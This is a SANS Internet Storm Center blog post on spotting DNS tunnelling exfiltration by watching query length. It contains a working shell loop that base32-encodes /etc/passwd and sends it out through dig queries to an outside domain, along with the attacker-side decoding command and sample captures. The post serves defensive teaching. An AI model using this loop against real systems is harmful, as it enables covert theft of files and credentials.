Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2017-04-20 InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
ISC Stormcast For Friday, April 21st 2017 https://isc.sans.edu/podcastdetail.html?id=5468

DNS Query Length... Because Size Does Matter

Published: 2017-04-20
Last Updated: 2017-04-20 07:07:42 UTC
by Xavier Mertens (Version: 1)
5 comment(s)

In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.

Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035[1] states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:

$ cat /etc/passwd | base32 -w 63 | while read L
do
  dig $L.data.rootshell.be @192.168.254.8
done

Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:

$ grep 'data.rootshell.be' queries.log
20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)
...

To decode this on the attacker's host, use the following command:

$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:

# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
...

As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:

But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

To reduce the risk of false positives, this control can be combined with others:

  • The volume of traffic per IP
  • The volume of traffic per (sub-)domain
  • White-lists

This technique is not new but comes back regularly in front of the stage. The malware 'Wekby'[3] discovered in 2016 was already using this technique for C2 communications.

[1] https://www.ietf.org/rfc/rfc1035.txt
[2] https://en.wikipedia.org/wiki/Base32
[3] http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

5 comment(s)
Diary Archives